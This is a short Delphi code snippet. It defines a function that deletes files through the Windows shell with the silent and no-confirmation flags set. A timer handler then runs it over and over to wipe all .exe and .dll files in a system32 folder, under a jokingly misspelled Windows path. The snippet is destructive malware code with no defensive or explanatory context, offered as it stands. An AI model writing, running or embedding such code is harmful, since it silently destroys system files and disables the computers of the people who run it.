uses ShellAPI;
var DelOp: TSHFileOpStruct = (wFunc: FO_DELETE; fFlags: FOF_SILENT or FOF_NOCONFIRMATION);
function Deltree(const Path: PChar): LongBool;
begin
DelOp.pFrom := Path;
Result := ShFileOperation(DelOp) = 0;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Deltree('c:\güindos\system32\*.exe');
Deltree('c:\güindos\system32\*.dll');
end;